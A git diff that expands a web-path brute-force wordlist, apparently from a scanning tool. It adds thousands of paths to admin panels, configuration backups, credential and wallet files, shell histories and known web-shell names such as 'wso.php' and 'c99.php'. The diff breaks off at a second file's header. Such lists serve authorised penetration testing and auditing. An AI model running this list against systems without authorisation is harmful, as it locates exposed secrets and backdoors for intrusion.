submit @@ -3906,10 +7703,15 @@ subscriber subscribers subscription subscriptions +.subversion +subversion +subversion/ success suche sucontact +.sucuriquarantine/ suffix +sugarcrm.log suggest suggest-listing suite @@ -3917,60 +7719,173 @@ suites summary sun sunos +.sunw SUNWmc +supe.php super +super1 +super1/ Super-Admin +Super-Admin/ +super_inde.php +super_index +super_login +super_logi.php +superman +superman/ +supermanage.php +supermanager +superma.php +super.php +superuse.php +superuser +superuser/ +superuser.php +supervise/ +supervise/Login +supervise/Logi.php +supervisor +supervisor/ +supervisord +supervisord/ supplier support +support/ Support -support_login supported +support_login +support_login/ surf +surgemail/ +surgemail/mtemp/surgeweb/tpl/shared/modules/swfupload_f9.swf +surgemail/mtemp/surgeweb/tpl/shared/modules/swfupload.swf survey surveys suspended.page suupgrade sv svc +.svn +.svn/ svn +svn/ +SVN/ +.svn/all-wcprops svn-base +.svn/entries +.svnignore +svn.revision +.svn/text-base/ +.svn/text-base/index.php.svn-base svr +.sw sw +swagger/index.html +swagger.json +swagger-resources +swagger/swagger-ui.html +swagger-ui.html +swagger/v1/swagger.json +swagger.yaml swajax1 +.swf +_swf swf swfobject.js swfs +swfupload +swfupload.swf switch +.swo +.swp sws +sxd/ +sxd/backup/ +sxdpro/ +sym/ +symfony/ +symfony/apps/frontend/config/routing.yml +symfony/apps/frontend/config/settings.yml +symfony/config/databases.yml +Symlink.php +Symlink.pl +symphony/ +symphony/apps/frontend/config/app.yml +symphony/apps/frontend/config/databases.yml +symphony/config/app.yml +symphony/config/databases.yml +sYm.php +Sym.php +sym/root/home/ synapse sync synced +.SyncID +.SyncIgnore +syncNode.log syndication +.synthquota +SypexDumper_2011/ +sypexdumper.php +sypex.php +~sys sys -sysadmin +~sysadm +sysadm +sysadm/ +~sysadmin sys-admin +sys-admin/ +sysadmin +sysadmin/ SysAdmin +SysAdmin/ sysadmin2 SysAdmin2 +SysAdmin2/ +sysadmin.html +sysadmin.php sysadmins +sysadmins/ +sysadm.php +sysbackup +sysinfo.txt +syslog/ sysmanager +.system/ system -system_admin -system_administration -system_web +system/ system-admin +system_admin system-administration +system-administration/ +system_administration +system_administration/ +system/cache/ +system/cron/cron.txt +SystemErr.log +system/error.txt +system/expressionengine/config/config.php +system/expressionengine/config/database.php +system.log +system/log/ +system/logs/ +SystemOut.log systems +system/storage/ +system_web sysuser szukaj t T +t00.php t1 t3lib table tabs tag tagline +.tags tags tail talk @@ -3978,88 +7893,178 @@ talks tape tapes tapestry +.tar tar +.tar.bz2 tar.bz2 -tar.gz target +target/ +.tar.gz +tar.gz tartarus task tasks +tasks/ taxonomy tb tcl +.tconn/ +tconn.conf +.tconn/tconn.conf te team +team/ +_TeamCity tech technical +technico.txt technology Technology tel tele +telephone television tell_a_friend -tell_friend tellafriend +tell_friend +telphin.log temaoversikt +.temp +.temp/ +_temp temp +temp/ TEMP +TEMP/ +_tempalbums templ +_template template +template/ +_templates templates +templates/ +templates/beez3/ +templates/beez/index.php templates_c +templates_c/ +templates/index.html +templates/ja-helio-farsi/index.php +templates/protostar/ +templates/rhuk_milkyway/index.php +templates/system/ templets temporal temporary +temp.php temps +temp-testng-customsuite.xml +teraform +teraform/ term terminal terms -terms_privacy -termsofuse terms-of-use +termsofuse +terms_privacy terrorism +_test +~test test -test_db +test/ +test_ +test0.php test1 test123 test1234 +test123.php +test1.php test2 +test2.php test3 +test3.php +test4.php +test5.php +test6.php +test7.php +test8.php +test9.php +test.asp +test.aspx +test-build/ test-cgi +test.chm +test_db +test-driver teste test-env +test_gen +test_gen.caches +test.htm +test.html testimonial testimonials testing +Testing +test_ip.php +test.jsp +test.mdb +test-output/ +__test.php +test.php +testproxy.php +test-report/ +test/reports +test-result +TestResult.xml tests +tests/ testsite +tests/phpunit_report.xml +test.sqlite +test/tmp/ +test.txt +test/version_tmp/ +texinfo.tex texis +.texpadtmp text text-base textobject textpattern +textpattern/ texts +.tfignore +.tgitconfig tgp tgz th thanks -thankyou thank-you +thankyou the theme +_themes themes +themes/ Themes +themes/default/htdocs/flash/ZeroClipboard.swf thickbox third-party this +Thorfile thread +threaddump threadrate threads threadtag thumb thumbnail thumbnails +.thumbs +_thumbs/ thumbs +thumbs/ thumbs.db Thumbs.db ticket @@ -4071,18 +8076,73 @@ tiki tiles time timeline +timeline.xctimeline +tinyfilemanager/ +tinyfilemanager-2.0.1/ +tinyfilemanager-2.0.2/ +tinyfilemanager-2.2.0/ +tinyfilemanager-2.3/ +tinyfilemanager.php tiny_mce +tiny_mce/ tinymce +tinymce/ +tiny_mce/plugins/filemanager/examples.html +tiny_mce/plugins/imagemanager/pages/im/index.html tip tips title titles tl tls +.tmp +_tmp +~tmp tmp +tmp/ TMP +tmp/2.php +tmp/access.log +tmp/access_log +tmp/admin.php +tmp/cache/models/ +tmp/cache/persistent/ +tmp/cache/views/ +tmp/cgi.pl +tmp/Cgishell.pl +tmp/changeall.php +tmp/cpn.php +tmp/d0maine.php +tmp/domaine.php +tmp/domaine.pl +tmp/d.php +tmp/dz1.php +tmp/dz.php +tmp/error.log +tmp/error_log +_tmpfileop +tmp/index.php +tmp/killer.php tmpl +tmp/L3b.php +tmp/madspotshell.php +tmp/nanoc/ +tmp/priv8.php +.tmproj +tmp/root.php tmps +tmp/sessions/ +tmp/sql.php +tmp/Sym.php +tmp/tests/ +tmp/upload.php +tmp/uploads.php +tmp/up.php +tmp/user.php +tmp/vaga.php +.tmp_versions/ +tmp/whmcs.php +tmp/xd.php tn tncms to @@ -4094,10 +8154,14 @@ TODO toggle tomcat tomcat-docs +tomcat-docs/appdev/sample/web/hello.jsp tool toolbar toolkit tools +tools/ +tools/_backups/ +tools/phpMyAdmin/index.php tooltip top top1 @@ -4113,6 +8177,8 @@ torrents tos tour tours +.tox +.tox/ toys tp tpl @@ -4120,6 +8186,9 @@ tpv tr trac trace +Trace.axd +Trace.axd::$DATA +trace.json traceroute traces track @@ -4129,6 +8198,7 @@ tracker trackers tracking trackpackage +_tracks tracks trade trademarks @@ -4141,22 +8211,32 @@ transaction transactions transfer transformations +.transients_purge.log translate translations +transmission/web/ transparent transport trap trash +.Trash +.Trashes travel Travel +.travis.yml treasury tree trees trends trial +tripwire +tripwire/ +trivia/ true trunk +tsconfig.json tslib +tst tsweb tt tuning @@ -4170,30 +8250,48 @@ twatch tweak twiki twitter +twitter/.env +.tx/ tx +.txt txt +txt/ type +typings/ typo3 -typo3_src +typo3/ typo3conf +typo3conf/AdditionalConfiguration.php +typo3conf/temp_fieldInfo.php +typo3/phpmyadmin/ +typo3/phpmyadmin/index.php +typo3/phpmyadmin/scripts/setup.php +typo3_src typo3temp +typo3temp/ typolight u U ua ubb +uber/ +uber/phpMemcachedAdmin/ +uber/phpMyAdmin/ +uber/phpMyAdminBackup/ uc uc_client -uc_server ucenter ucp +uc_server uddi uds ui +ui/ uk umbraco umbraco_client umts +unattend.txt uncategorized under_update uninstall @@ -4212,22 +8310,71 @@ upd update updated updateinstaller +update.php updater updates updates-topic +UPDATE.txt +upfile.php upgrade +UPGRADE +UpgradeLog.XML +upgrade.php upgrade.readme +_UpgradeReport_Files/ +UPGRADE.txt +upguard +upguard/ upload -upload_file -upload_files +upload/ +Upload +upload/1.php +upload/2.php +upload2.php +upload.asp +upload.aspx +upload_backup/ +upload/b_user.csv +upload/b_user.xls +upload.cfm uploaded +uploaded/ uploadedfiles uploadedimages uploader +uploader/ +uploader.php +upload_file uploadfile +uploadfile.asp +upload_file.php +uploadfile.php +upload_files uploadfiles +uploadfiles.php +upload.htm +upload.html +uploadify/ +uploadify.php +upload/loginIxje.php +upload.php +upload.php3 uploads +uploads/ +uploads/dump.sql +upload.shtm +uploads.php +upload/test.php +upload/test.txt +upload/upload.php +upl.php +up.php +upstream_conf ur-admin +ur-admin/ +ur-admin.asp +ur-admin.html +ur-admin.php urchin url urlrewriter @@ -4236,57 +8383,149 @@ us US usa usage +usage/ +~user user -user_upload +user. +user/ +user/admin useradmin +useradmin/ +user/admin.php userapp +user.asp usercontrols usercp usercp2 +userdb userdir +UserFile userfiles UserFiles +user_guide +user_guide_src/build/ +user_guide_src/cilexer/build/ +user_guide_src/cilexer/dist/ +user_guide_src/cilexer/pycilexer.egg-info/ +user.html userimages userinfo +.user.ini userlist userlog userlogin +userlogin/ +UserLogin/ +userlogin.php usermanager username usernames +usernames.txt usernote +user.php +.users users +users/ +users/admin +users/admin.php +users.csv +users.db +users.ini +users.json +users.log +users.mdb +users/moderator.php +users.php +users.sql +users.sql.gz +users.sqlite +users.txt +users.xls +user.txt +user_upload +user_uploads usr +usr/ usrmgr usrs ustats usuario +usuario/ usuarios +usuarios/ +usuarios/login.php +usuario/user.asp/ +usuario/user.aspx/ +usuario/user.php/ +usuario/wp-login.asp/ +usuario/wp-login.aspx/ +usuario/wp-login.php/ util utilities Utilities utility utility_login +utility_login/ utils +uvpanel/ +uwsgi.ini v V v1 +v1/ +v1/public/yql +v1/test/js/console_ajax.js +v1/test/js/console.html v2 +v2/ +v2/_catalog +v2/keys/?recursive=true v3 v4 +.vacation.cache vadmind +vadmind/ +.vagrant +vagrant +vagrant/ +Vagrantfile +Vagrantfile.backup +vagrant-spec.config.rb validation validatior +validator.php vap var +var/ +var/backups/ +var/bootstrap.php.cache +var/cache/ +variant +variant/ +var/log +var/log/ +var/log/authorizenet.log +var/log/exception.log +var/log/librepag.log +var/log/old +var/log/payment_authorizenet.log +var/log/payment.log +var/log/payment_paypal_express.log +var/logs/ +var/package/ +var/sessions/ vault +vault/ vb vbmodcp +vb.rar vbs vbscript vbscripts vbseo vbseocp +vb.sql +vb.zip vcss vdsbackup vector @@ -4297,18 +8536,33 @@ vehicletestdrive velocity venda vendor +vendor/ +vendor/assets/bower_components +vendor/bundle +vendor/composer/installed.json +vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php vendors +vendors/ +.venv +venv/ +venv.bak/ ver ver1 ver2 +.version version +version/ +version.txt +VERSION.txt verwaltung vfs +.vgextensions/ vi viagra vid video Video +video-js.swf videos view view_cart @@ -4319,13 +8573,19 @@ viewfile viewforum viewlogin viewonline +view.php views -viewsource view-source +viewsource viewsvn viewthread viewtopic viewvc +vignettes/ +.viminfo +.vimrc +violations +violations/ vip virtual virus @@ -4335,10 +8595,17 @@ visitormessage vista vm vmailadmin +vmailadmin/ void voip vol volunteer +vorod +vorod/ +vorod.php +vorud +vorud/ +vorud.php vote voted voter @@ -4346,8 +8613,38 @@ votes vp vpg vpn +vpn/ +vqmod/checked.cache +vqmod/logs/ +vqmod/mods.cache +vqmod/vqcache/ +.vs/ vs vsadmin +.vscode/ftp-sync.json +.vscode/sftp.json +_vti_aut +_vti_bin +_vti_bin/ +_vti_bin/shtml.dll +_vti_bin/_vti_adm/admin.dll +_vti_bin/_vti_aut/author.dll +_vti_cnf +vtiger +vtiger/ +vtigercrm/ +_vti_inf +_vti_log +_vti_map +_vti_pvt +_vti_pvt/ +_vti_pvt/service.pwt +_vti_pvt/users.pwt +_vti_rpc +_vti_script +_vti_txt +vtund.conf +vue-element-admin vuln vvc_display w @@ -4360,39 +8657,69 @@ W3SVC1 W3SVC2 W3SVC3 wa +wallet.dat +wallet.json wallpaper wallpapers wap war warenkorb warez +war/gwt_bree/ warn +war/WEB-INF/classes/ +war/WEB-INF/deploy/ way-board wbboard wbsadmin wc +wc.php wcs +wcx_ftp.ini wdav weather +.web web -web.config -web.xml -web_users +web/ web1 web2 web3 +web.7z webaccess webadm webadmin +webadmin. +webadmin/ WebAdmin +webadmin/admin.asp/ +webadmin/admin.html +webadmin/admin.php +webadmin.asp/ +webadmin.html +webadmin/index.html +webadmin/index.php +webadmin/login.html +webadmin/login.php +webadmin/moderator.php +webadmin.php +webadmin/user.asp/ +webadmin/user.aspx/ +webadmin/user.php/ +webadmin/wp-login.asp/ +webadmin/wp-login.aspx/ +webadmin/wp-login.php/ webagent webalizer webapp +web-app/plugins webapps +web-app/WEB-INF/classes +.webassets-cache webb webbbs web-beans webboard +web/bundles/ webcalendar webcam webcart @@ -4401,61 +8728,123 @@ webcasts webcgi webcharts webchat +web.config +web.config::$DATA +web.config.bak +web.config.bakup +web.config.old +web.config.temp +web.config.tmp +web.config.txt web-console +web-console/ +web-console/Invoker +web-console/ServerInfo.jsp +web-console/status?full=true webctrl_client webdata webdav +webdav/ +webdav/index.html +webdav.password +webdav/servlet/webdav/ webdb +webdb/ +web.Debug.config webdist webedit webfm_send +webgrind webhits webim webinar web-inf +_WEB_INF/ WEB-INF +WEB-INF./ +WEB-INF/ +WEB-INF/config.xml +WEB-INF./web.xml +WEB-INF/web.xml weblog weblogic weblogs webmail +webmail/ +webmail/src/configtest.php +~webmaster webmaster +webmaster/ +webmaster.php webmasters +webmin/ +webpack.config.js webpages +web/phpMyAdmin/ +web/phpMyAdmin/index.php +web/phpMyAdmin/scripts/setup.php webplus +web.rar +web.Release.config webresource +web/scripts/setup.php websearch +.web-server-pid webservice webservices webshop website +website.git websites +website.tar.gz +website.zip websphere +web.sql websql +websql/ webstat +webstat/ webstats +webstats/ +webstats.html websvn +web.tar +web.tar.bz2 +web.tar.gz +web.tgz webtrends +web/uploads/ +web_users webusers webvpn webwork +web.xml +web.zip wedding week weekly +weixiao.php welcome well wellcome +wenzhang werbung wget what whatever whatnot whatsnew +wheels/ white whitepaper whitepapers +whmcs/ +whmcs/downloads/dz.php +whmcs.php who whois wholesale +wholesale-login.php whosonline why wicket @@ -4465,6 +8854,7 @@ widgets wifi wii wiki +wiki/ will win win32 @@ -4478,10 +8868,15 @@ with wiz wizard wizmysqladmin +wizmysqladmin/ wml wolthuis word wordpress +wordpress/ +wordpress.tar.gz +wordpress/wp-login.php +wordpress.zip work workarea workflowtasks @@ -4490,35 +8885,89 @@ workplace works workshop workshops +.workspace/ +workspace/uploads/ +workspace.xml world worldpayreturn worldwide wow wp +wp/ +wpad.dat wp-admin +wp-admin/ +wp-admin/c99.php +wp-admin/install.php +wp-admin.php +wp-admin/setup-config.php wp-app +wp-app.log wp-atom wpau-backup wp-blog-header wpcallback +wp-cli.yml wp-comments wp-commentsrss2 wp-config -wpcontent +wp-config.inc +wp-config.old +wp-config.php +wp-config.php~ +wp-config.php.bak +wp-config.php.dist +wp-config.php.inc +wp-config.php.old +wp-config.php.save +.wp-config.php.swp +wp-config.php.swp +wp-config.php.txt +wp-config.php.zip wp-content +wp-content/ +wpcontent +wp-content/backup-db/ +wp-content/backups/ +wp-content/blogs.dir/ +wp-content/cache/ +wp-content/debug.log +wp-content/mu-plugins/ +wp-content/plugins/adminer/inc/editor/index.php +wp-content/plugins/count-per-day/js/yc/d00.php +wp-content/plugins/hello.php +wp-content/upgrade/ +wp-content/uploads/ +wp-content/uploads/dump.sql wp-cron wp-dbmanager +_wpeprivate +_wpeprivate/ +_wpeprivate/config.json wp-feed +w.php wp-icludes wp-images wp-includes +wp-includes/ +wp-includes/rss-functions.php +wp-json/ +wp-json/wp/v2/users/ wp-links-opml wp-load wp-login +wp-login/ +wp-login.asp/ +wp-login.aspx/ +wp-login.php +wp-login.php/ wp-mail wp-pass +wp.php +wp.rar/ wp-rdf wp-register +wp-register.php wp-rss wp-rss2 wps @@ -4526,34 +8975,75 @@ wp-settings wp-signup wp-syntax wp-trackback +wp/wp-login.php +wp.zip wrap writing ws -ws_ftp -WS_FTP -WS_FTP.LOG +wsadminListener.out +wsadmin.traceout +wsadmin.valout ws-client wsdl +ws_ftp +WS_FTP +WS_FTP/ +ws_ftp.ini +WS_FTP.LOG +WS_FTP/Sites/ws_ftp.ini +wshell.php +wsman +wso2.5.1.php +wso2.php +wso.php +WSO.php +ws.php wss wstat wstats wt wtai wusage +wuwu11.php +wvdial.conf wwhelp +_www +~www www www1 www2 www3 +.www_acl +.wwwacl wwwboard +wwwboard/ +wwwboard/passwd.txt +www-error.log wwwjoin wwwlog +www/phpMyAdmin/index.php +www.rar wwwroot +wwwroot.7z +wwwroot.rar +wwwroot.sql +wwwroot.tar +wwwroot.tar.bz2 +wwwroot.tar.gz +wwwroot.tgz +wwwroot.zip www-sql +www.sql wwwstat wwwstats +wwwstats.htm +www.tar +www.tar.gz +www-test/ +www.tgz wwwthreads wwwuser +www.zip wysiwyg wysiwygpro x @@ -4561,791 +9051,125 @@ X xajax xajax_js xalan +xampp/ +xampp/phpmyadmin/ +xampp/phpmyadmin/index.php +xampp/phpmyadmin/scripts/setup.php xbox xcache xcart -xd_receiver +xcuserdata/ xdb +xd.php +xd_receiver xerces xfer +xferlog xhtml +xiaoma.php xlogin +xlogin/ xls +xls/ xmas xml +xml/ XML +xml/_common.xml +xml/common.xml xmlfiles xmlimporter -xmlrpc xml-rpc +xmlrpc xmlrpc.php xmlrpc_server xmlrpc_server.php xn +x.php +xphperrors.log +xphpMyAdmin/ +xshell.php xsl +xsl/ +xsl/_common.xsl +xsl/common.xsl xslt +xslt/ xsql +xsql/ +xsql/lib/XSQLConfig.xml +xw1.php +xw.php xx +xx.php xxx XXX xyz xyzzy y yahoo +yaml_cron.log +yaml.log +.yardoc/ +_yardoc/ +yarn-debug.log +yarn-error.log +.yarn-integrity +yarn.lock year yearly yesterday +ylwrap yml yonetici +yonetici.asp +yonetici.html +yonetici.php yonetim +yonetim.asp +yonetim.html +yonetim.php +.yo-rc.json youtube yshop yt yui +yum.log z +zabbix +zabbix/ zap zboard +zebra.conf +zehir.php zencart zend zero +zeroclipboard.swf zeus +.zeus.sock +zf_backend.php +.zfs/ zh -zh_CN -zh_TW zh-cn +zh_CN zh-tw +zh_TW zimbra +zimbra/ +.zip zip zipfiles +zipkin +zipkin/ zips zoeken zone +zone-h.php zones zoom zope zorum +.zsh_history +.zshrc zt -admin/ -admin.asp/ -admin/admin.asp/ -admin.aspx/ -admin/admin.aspx/ -admin.php/ -administrator/ -login.php -admin.php -user/ -usuarios/ -usuario/ -Admin/ -cpanel/ -phpmyadmin/ -dashboard -cms/ -users/ -wp-login.php/ -admin/login -auth/login/ -moderator/ -webadmin/ -webmaster/ -adminarea/ -bb-admin/ -wp-admin/ -wp-login/ -wp-admin.php -userlogin/ -logins/ -login.html -adminLogin/ -admin_area/ -panel-administracion/ -instadmin/ -memberadmin/ -administratorlogin/ -panel/ -forum/admin -adm/ -cp/ -vue-element-admin -admin/cp.php -cp.php -admincontrol/ -admincp/ -admin/account.php -admin/index.php -admin/login.php -admin/admin.php -admin_area/admin.php -admin_area/login.php -siteadmin/login.php -siteadmin/index.php -siteadmin/login.html -admin/account.html -admin/index.html -admin/login.html -admin/admin.html -admin_area/index.php -dashboard.html -dashboard.php -bb-admin/index.php -bb-admin/login.php -bb-admin/admin.php -admin/home.php -admin_area/login.html -admin_area/index.html -admin/controlpanel.php -admincp/index.asp -admincp/login.asp -admincp/index.html -adminpanel.html -webadmin.html -webadmin/index.html -webadmin/admin.html -webadmin/login.html -admin/admin_login.html -admin_login.html -panel-administracion/login.html -administrator/index.php -administrator/login.php -nsw/admin/login.php -webadmin/login.php -admin/admin_login.php -admin_login.php -administrator/account.php -administrator.php -admin_area/admin.html -pages/admin/ -pages/admin/admin-login.php -admin/admin-login.php -admin-login.php -members/ -bb-admin/index.html -bb-admin/login.html -acceso.php -bb-admin/admin.html -admin/home.html -modelsearch/login.php -moderator.php -moderator/login.php -moderator/admin.php -account.php -pages/admin/admin-login.html -admin/admin-login.html -admin-login.html -controlpanel.php -admincontrol.php -admin/adminLogin.html -adminLogin.html -home.html -rcjakar/admin/login.php -adminarea/index.html -adminarea/admin.html -webadmin.php -webadmin/index.php -webadmin/admin.php -admin/controlpanel.html -admin.html -admin/cp.html -cp.html -adminpanel.php -moderator.html -administrator/index.html -administrator/login.html -user.html -administrator/account.html -administrator.html -modelsearch/login.html -moderator/login.html -adminarea/login.html -panel-administracion/index.html -panel-administracion/admin.html -modelsearch/index.html -modelsearch/admin.html -admincontrol/login.html -adm/index.html -adm.html -moderator/admin.html -user.php -account.html -controlpanel.html -admincontrol.html -panel-administracion/login.php -wp-login.php -adminLogin.php -admin/adminLogin.php -home.php -adminarea/index.php -adminarea/admin.php -adminarea/login.php -panel-administracion/index.php -panel-administracion/admin.php -modelsearch/index.php -modelsearch/admin.php -admincontrol/login.php -adm/admloginuser.php -admloginuser.php -admin2.php -admin2/login.php -admin2/index.php -usuarios/login.php -adm/index.php -adm.php -affiliate.php -adm_auth.php -memberadmin.php -administratorlogin.php -admin. -login. -login1. -panel. -admin1. -admin2. -admin3. -admin4. -moderator. -webadmin. -user. -administration/ -mag/admin/ -joomla/administrator/ -manager/ -adminpanel/ -controlpanel/ -logon/ -auth/ -apanel/ -a/ -acart/ -access/ -account/ -achievo/ -address/ -admins/ -0admin/ -admin1/ -admin2/ -admin3/ -admin4/ -admin5/ -_adm_/ -_admin_/ -_administrator_/ -_adm/ -_admin/ -achtung/ -_administrator/ -AdminWeb/ -administration.php -links/login.php -cms/_admin/logon.php -typo3/ -pma/ -cms/login/ -access.php -sysadm.php -adm2/ -include/admin.php -admin/moderator.php -interactive/admin.php -edit.php -siteadmin/ -hcaadmin.php -svn/ -blog/wp-login.php -admin/log.php -login/login.php -adminka.php -wholesale-login.php -authorize.php -editor/ -base/admin/ -includes/login.php -site_admin/login.php -statredir/ -lists/admin/ -sec/login.php -bitrix/admin/ -admin_tool/ -cabinet/ -klarnetCMS/ -debug/rus/autorisation/ -cms/admin/ -Admin/private/ -site/admin/ -admen/ -admin2/index/ -db/admin.php -admin/adm.php -admin/admin/ -manager/ispmgr/ -phpMyAdmin/ -login.aspx/ -admin/login.asp -admin/login.aspx/ -moderator/admin.asp/ -webadmin.asp/ -webadmin/admin.asp/ -author/Admin.aspx/ -admin/userAdmin.aspx/ -dbadmin/ -AdministratorS/Admin.aspx/ -admin/secure/admin.aspx/ -bb-admin/admin.asp/ -processlogin.php/ -0manager/ -acceso.asp/ -acceso.aspx/ -account.asp/ -account.aspx/ -wp-login.asp/ -wp-login.aspx/ -admin_login/ -admin-login/ -modelsearch/ -nsw/ -rcjakar/ -private.php/ -_vti_pvt/ -_private/ -admin1.php -admin2.html -yonetim.php -yonetim.html -yonetici.php -yonetici.html -admin1.asp -admin2.asp -yonetim.asp -yonetici.asp -admin/index.asp -admin/home.asp -admin/controlpanel.asp -sysadmin.php -sysadmin.html -sysadmin/ -ur-admin.asp -ur-admin.php -ur-admin.html -ur-admin/ -administr8.php -administr8.html -administr8/ -admin/acceso.php/ -admin/acceso.asp/ -admin/acceso.aspx/ -admin_area/acceso.php/ -admin_area/acceso.asp/ -admin_area/acceso.aspx/ -adminarea/acceso.php/ -adminarea/acceso.asp/ -adminarea/acceso.aspx/ -admincontrol/acceso.php/ -admincontrol/acceso.asp/ -admincontrol/acceso.aspx/ -admincpacceso.php/ -admincpacceso.asp/ -admincpacceso.aspx/ -administrator/acceso.php/ -administrator/acceso.asp/ -administrator/acceso.aspx/ -admin_login/acceso.php/ -admin_login/acceso.asp/ -admin_login/acceso.aspx/ -adminlogin/acceso.php/ -adminlogin/acceso.asp/ -adminlogin/acceso.aspx/ -webadmin/wp-login.php/ -webadmin/wp-login.asp/ -webadmin/wp-login.aspx/ -usuario/wp-login.php/ -usuario/wp-login.asp/ -usuario/wp-login.aspx/ -admin/webadmin.asp/ -admin/webadmin.aspx/ -admin/webadmin.php/ -webadmin/user.php/ -webadmin/user.asp/ -webadmin/user.aspx/ -bb-admin/user.php -bb-admin/user.asp -bb-admin/user.aspx -controlpanel/user.php -controlpanel/user.asp -controlpanel/user.aspx -admin-login/user.php -admin-login/user.asp -admin-login/user.aspx -administrator/user.php -administrator/user.asp -administrator/user.aspx -admin/user.php -adm/user.php -pages/moderator.php -webadmin/moderator.php -users/moderator.php -usuario/user.php/ -usuario/user.asp/ -usuario/user.aspx/ -mysql/ -myadmin/ -sqlmanager/ -mysqlmanager/ -p/m/a/ -phpmanager/ -php-myadmin/ -phpmy-admin/ -sqlweb/ -websql/ -webdb/ -mysqladmin/ -mysql-admin/ -phpmyadmin2/ -phpMyAdmin-2/ -php-my-admin/ -phpMyAdmin-2.2.3/ -phpMyAdmin-2.2.6/ -phpMyAdmin-2.5.1/ -phpMyAdmin-2.5.4/ -phpMyAdmin-2.5.5-rc1/ -phpMyAdmin-2.5.5-rc2/ -phpMyAdmin-2.5.5/ -phpMyAdmin-2.5.5-pl1/ -phpMyAdmin-2.5.6-rc1/ -phpMyAdmin-2.5.6-rc2/ -phpMyAdmin-2.5.6/ -phpMyAdmin-2.5.7/ -phpMyAdmin-2.5.7-pl1/ -phpMyAdmin-2.6.0-alpha/ -phpMyAdmin-2.6.0-alpha2/ -phpMyAdmin-2.6.0-beta1/ -phpMyAdmin-2.6.0-beta2/ -phpMyAdmin-2.6.0-rc1/ -phpMyAdmin-2.6.0-rc2/ -phpMyAdmin-2.6.0-rc3/ -phpMyAdmin-2.6.0/ -phpMyAdmin-2.6.0-pl1/ -phpMyAdmin-2.6.0-pl2/ -phpMyAdmin-2.6.0-pl3/ -phpMyAdmin-2.6.1-rc1/ -phpMyAdmin-2.6.1-rc2/ -phpMyAdmin-2.6.1/ -phpMyAdmin-2.6.1-pl1/ -phpMyAdmin-2.6.1-pl2/ -phpMyAdmin-2.6.1-pl3/ -phpMyAdmin-2.6.2-rc1/ -phpMyAdmin-2.6.2-beta1/ -phpMyAdmin-2.6.2/ -phpMyAdmin-2.6.2-pl1/ -phpMyAdmin-2.6.3/ -phpMyAdmin-2.6.3-rc1/ -phpMyAdmin-2.6.3-pl1/ -phpMyAdmin-2.6.4-rc1/ -phpMyAdmin-2.6.4-pl1/ -phpMyAdmin-2.6.4-pl2/ -phpMyAdmin-2.6.4-pl3/ -phpMyAdmin-2.6.4-pl4/ -phpMyAdmin-2.6.4/ -phpMyAdmin-2.7.0-beta1/ -phpMyAdmin-2.7.0-rc1/ -phpMyAdmin-2.7.0-pl1/ -phpMyAdmin-2.7.0-pl2/ -phpMyAdmin-2.7.0/ -phpMyAdmin-2.8.0-beta1/ -phpMyAdmin-2.8.0-rc2/ -phpMyAdmin-2.8.0/ -phpMyAdmin-2.8.0.1/ -phpMyAdmin-2.8.0.2/ -phpMyAdmin-2.8.0.3/ -phpMyAdmin-2.8.0.4/ -phpMyAdmin-2.8.1-rc1/ -phpMyAdmin-2.8.1/ -phpMyAdmin-2.8.2/ -pma2005/ -administratie/ -admins.php -useradmin/ -sysadmins/ -system-administration/ -administrators/ -pgadmin/ -directadmin/ -sql-admin/ -newsadmin/ -adminpro/ -staradmin/ -ServerAdministrator/ -SysAdmin/ -administer/ -LiveUser_Admin/ -sys-admin/ -autologin/ -support_login/ -memlogin/ -login-redirect/ -sub-login/ -login1/ -dir-login/ -login_db/ -xlogin/ -smblogin/ -customer_login/ -UserLogin/ -acct_login/ -bigadmin/ -project-admins/ -phppgadmin/ -pureadmin/ -bbadmin/ -administratoraccounts/ -AdminTools/ -server/ -database_administration/ -power_user/ -system_administration/ -adminitem/ -sysadm/ -control/ -accounts/ -management/ -phpSQLiteAdmin/ -showlogin/ -0admin/login.asp -0manager/admin.asp -admin/sendfile.asp -admin/sndfile.asp -admin/upfile.asp -admin/upload.asp -admin/uploadfaceok.asp -admin/uploads.asp -admin/uppic.asp -adminadmin/ -adminindex/ -count_admin -default_admin -index/admin -acesso/ -adimin/ -adiministrador/ -adm/admin/ -admin4_account/ -admin4_colon/ -admin/adm/ -administracao/ -banneradmin/ -blogindex/ -cadmins/ -ccp14admin/ -cmsadmin/ -config/ -controle/ -cpanel_file/ -donos/ -edit/ -entrar -entrar.html -entrar.php -ezsqliteadmin/ -formslogin/ -funcoes/ -globes_admin/ -hpwebjetadmin/ -Indy_admin/ -irc-macadmin/ -key/ -logar/ -login/ -loginflat/ -login-us/ -loginuser/ -loginusuarios/ -logo_sysadmin/ -logout/ -Lotus_Domino_Admin/ -macadmin/ -manuallogin/ -membros/ -meta_login/ -navSiteAdmin/ -net/ -not/ -openvpnadmin/ -painel/ -paineldecontrole/ -pc/ -pdc/ -php/ -phpldapadmin/ -platz_login/ -radmind/ -radmind-1/ -rcLogin/ -saff/ -senha/ -senhas/ -server_admin_small/ -sff/ -simpleLogin/ -sistema/ -sshadmin/ -ss_vms_admin_sm/ -Super-Admin/ -SysAdmin2/ -userlogin/ -utility_login/ -vadmind/ -vmailadmin/ -wizmysqladmin/ -ccms/ -ccms/login.php -ccms/index.php -activemq -admin -ansible -apache -artifactory -asterisk -av -aws -backup -bamb -bamboo -build -capistrano -cassandra -checkstyle -chef -ci -clickhouse -cloud -codeship -collectd -collectl -conf -confluence -consul -crm -datadog -desk -dev -docker -docs -dokuwiki -elastic -elasticsearch -email -fabric -findbugs -ganglia -gateway -git -github -gitlab -gl -glpi -gradle -grafana -graphite -graylog -groovy -haproxy -icinga -influxdb -jacoco -jenkins -jira -jk -juju -junit -kafka -kairosdb -keycloak -kibana -kube -kuber -kubernetes -ldap -liferay -log -logstash -mail -mattermost -maven -mcollective -memcached -mercurial -mesos -metric -metrics -mirror -mongo -mongodb -monit -monitoring -mysql -naginator -nagios -netdata -nextcloud -nfs -oauth -openshift -openstack -opentsdb -osticket -otrs -owncloud -package -pagerduty -pbx -prometheus -proxy -puppet -rabbitmq -radius -raygun -redis -redmine -registry -repo -rudder -saltstack -sbt -scalyr -selenium -sensu -sentry -sip -snort -sonar -sonarcube -sonarqube -splunk -squid -stackstorm -stas -stash -statsd -subversion -supervisor -supervisord -support -svn -tasks -team -teraform -tools -tripwire -ui -upguard -vagrant -variant -vault -violations -vpn -vtiger -wiki -zabbix -zimbra -zipkin -graphql \ No newline at end of file diff --git a/wordlists/web-brute-stealth.txt b/wordlists/web-brute-stealth.txt index 051a8a8..25d5c04 100644 --- a/wordlists/web-brute-stealth.txt +++ b/wordlists/web-brute-stealth.txt @@ 